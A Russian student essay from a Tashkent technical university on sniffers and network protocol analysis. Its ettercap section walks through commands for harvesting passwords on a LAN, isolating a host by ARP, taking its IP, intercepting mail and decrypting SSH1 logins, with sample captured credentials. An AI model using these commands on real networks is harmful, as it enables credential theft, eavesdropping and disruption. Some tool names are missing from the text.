Министерство Высшего и Среднего Специального
Образования Республики Узбекистан
Ташкентский Государственный Технический Университет
Факультет: «Компьютерные технологии»
Кафедра: «Компьютерные системы и сети»
РЕФЕРАТ
На тему: «Определение подозрительных пакетов, анализ протоколов сети»
Выполнил: | маг. гр. 51М-02ИБ Д. Бобокулов |
Принял: | доц. Каримов М.М. |
Ташкент-2002-03
Содержание:
Введение. 2.
Программные средства анализа подозрительных пакетов на примере ОС Linux. 3.
Аппаратные средства анализа пакетов (протоколов). Анализаторы. 8.
Критерии выбора анализатора пакетов. 11.
Заключение. 16.
Список использованных источников. 17.
Введение.
В настоящее время аппаратная архитектура Ethernet завоевала большую часть рынка при создании локальных сетей, хотя существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду способствует ее популярности. Сеть Ethernet работает как магистраль, через которую любой узел может пересылать пакеты на другой узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо пользоваться репитером, свитчем или концентратором. Процесс передачи фреймов обеспечивает межсетевой протокол, который не зависит от оборудования и представляет различные сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP, занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет, отправленный в широковещательной сети одним из узлов, принимается всеми находящимися в этом сегменте сети машинами, но только узел назначения, указанный в заголовке пакета, "смотрит" на него и начинает его обработку (относится и к TCP и к UDP протоколам).
Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом.
Анализаторы пакетов относятся к классу инструментальных программных средств для мониторинга сетевого трафика и выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит пакеты, предназначенные только для него. Однако анализаторы устанавливают его в режим приема всех пакетов - promiscuous mode, прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они адресованы в сети.
Программные средства анализа подозрительных пакетов на примере ОС Linux.
Для установки "вручную" сетевого интерфейса в неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig eth0 -promisc .
Ярким примером инструментального программного средства служит программа , написанная Вэном Якобсоном и поставляющаяся сейчас со многими дистрибутивами. Пример использования tcpdump:
tcpdump -i eth0 -n -vv -w /root/tcpdump.log
где:
-I - сетевой интерфейс;
-n - делаем числовой вывод адресов и номеров портов;
-vv - очень подробный вывод;
-w - запись лога в файл.
Чтобы прочитать перехваченный трафик из лога (выводим не на консоль, а в файл):
tcpdump -r /root/tcpdump.log > /root/tcpdump0.log
Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply
Первая строка показывает, что 192.168.5.17 пользуется программой для общения в локальной сети (делает широковещательный запрос, используется порт 8167), вторая и третья указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23 программой ping.
Анализаторы пакетов, несомненно, полезны для решения администратором сети известных и неизвестных проблем, но существует и обратная сторона медали: неразборчивый режим приема пакетов позволяет злоумышленнику получать весь трафик в сети и фильтровать его на наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь все только ограничивается фантазией хакера.
Ettercap
Особенности этого сниффера:
работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x, OpenBSD 2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ, SMB, MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC;
возможнось вставки символов в установленное соединение - будет происходить эмуляция команд сервера и ответов клиента (работает только в интерактивном режиме);
нетребовательность к библиотекам libpcap, libnet, libnids в отличии от других снифферов;
поддержка плагинов; возможность написания собственных плагинов;
текстовый и псевдографический (основанный на ncurses) интерфейсы;
различные виды прослушивания; возможность использования фильтров;
работа в сети с активными интеллектуальными хабами.
Установка сниффера:
./configure
make
make install
Установка плагинов:
make plug-ins
make plug-ins_install
Некоторые опции сниффера:
-a, -s, -m - различные виды прослушивания;
-N - запускать сниффер без псевдографики;
-z - запуск в спокойном режиме;
-d - не преобразовывать IP-адреса в имена;
-i - сетевой интерфейс;
-l - вывести список хостов в сети;
-C - собирать все имена и пароли пользователей;
-f - определение операционной системы удаленного хоста;
-p - работа с плагинами;
-L - записывать в лог, имеющий формат: год:месяц:день-collected-pass.log
Рассмотрим некоторые виды использования этого сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и записываем в лог:
ettercap -NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом 192.168.5.24:
ettercap - Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap - N -p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap - N -p ooze 192.168.5.33
Самый интересным плагином является leech. Он изолирует удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms
Запускаем плагин (операционная система хоста жертвы - win98se):
andrushock# ettercap -Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#
Сетевой интерфейс на машине жертвы на некоторое время перестает работать, хотя операционная система и запущенные приложения функционируют в том же нормальном режиме. Но этого "некоторого" времени хватает, например, для того, чтобы заполучить себе IP-адрес жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе: ifconfig eth0
Перехват незашифрованных почтовых сообщений. Вид записи: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP- адрес клиента>
Пример перехвата исходящих писем:
./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press "h" for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их валидность и сам текст письма.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение почтовым сервером соединения.
Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap -Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap -Nzds ANY:143 ANY > /root/sniff.imap4
Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT (назовем клиент).
./ettercap -Ndl - выводим список всех ip с МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом случае машина злоумышленника является "мостом", через который будет проходить и расшифровываться на лету весь проходящий траффик между клиентом и сервером.
Вид записи:
./ettercap -za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес клиента>
./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"
ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger - illithid (ARP Based) - ettercap
DEST: 192.168.5.4 ? Active Dissector: ON
??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra
В левом нижнем углу лицезреем уже расшифрованные имя пользователя и его пароль. Примечание: сетевой интерфейс действительно ed0, так как программа тестировалась в операционных системах Linux и FreeBSD.
Постоянно выходят новые версии Ettercap, в которых исправляются ошибки (например, только несколько версий назад исправили "глюк", когда после работы сетевой интерфейс, на котором был запущен этот сниффер падал), добавляются новые возможности и переносы на другие операционные системы, в отличие от программ описанных ниже, работа над которыми уже давно не ведется, хотя в настоящее время эти анализаторы протоколов являются самыми популярными.
Возможности этого сниффера:
работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF, NetBSD;
перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
использование конфигурационных файлов для создания фильтров;
имеет текстовый и псевдографический (основанный на ncurses) интерфейсы.
Примечание: эту версию сниффера я не смог поставить на Red Hat Linux 7.0, поэтому пришлось качать , но beta, где как раз исправлена ошибка компоновки для дистрибутивов Red Hat Linux 6,7.
Возможности этого сниффера:
работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc), FreeBSD, Debian Linux, Slackware Linux, AIX, HP-UX;
перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, Microsoft SQL;
также в этот пакет входит набор "утилит" для перехвата сообщений AOL Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания ssh траффика, флуда локальной сети случайными MAC-адресами, ограничения пропускной способности соединения, обрыва заданного TCP-соединения и др.;
не имеет псевдографического интерфейса.
Аппаратные средства анализа пакетов (протоколов).
Анализаторы протоколов передачи данных.Сегодня оборудование передачи данных можно найти практически в любом офисе и на каждом промышленном предприятии. В офисе это различные периферийные устройства для персональных компьютеров и оборудование передачи данных по корпоративным или территориальным сетям, на производстве — системы сбора информации и управления. Разнообразие устройств, обменивающихся данными, растет с каждым днем, однако набор используемых при этом интерфейсов не претерпел существенных изменений. К тому же с течением времени отрасль выработала множество приспособлений и инструментов для тестирования интерфейсов на различном уровне и диагностики проблем взаимодействия устройств.
Один из самых старых интерфейсов, RS-232, имеет огромное число разновидностей. Несмотря на то что любой специалист по вычислительной технике или микроконтроллерам знает его цоколевку наизусть, тем не менее проблемы могут возникнуть уже на этапе подключения устройств друг к другу. Особенно часто это бывает вызвано отсутствием информации о том, какие управляющие сигналы используются, к какому типу относятся устройства (DTE/DCE), каковы скорость и формат передачи данных. Комплект простейших устройств, который будет описан ниже, существенно облегчает работу тем, кому приходится иметь дело с этим интерфейсом.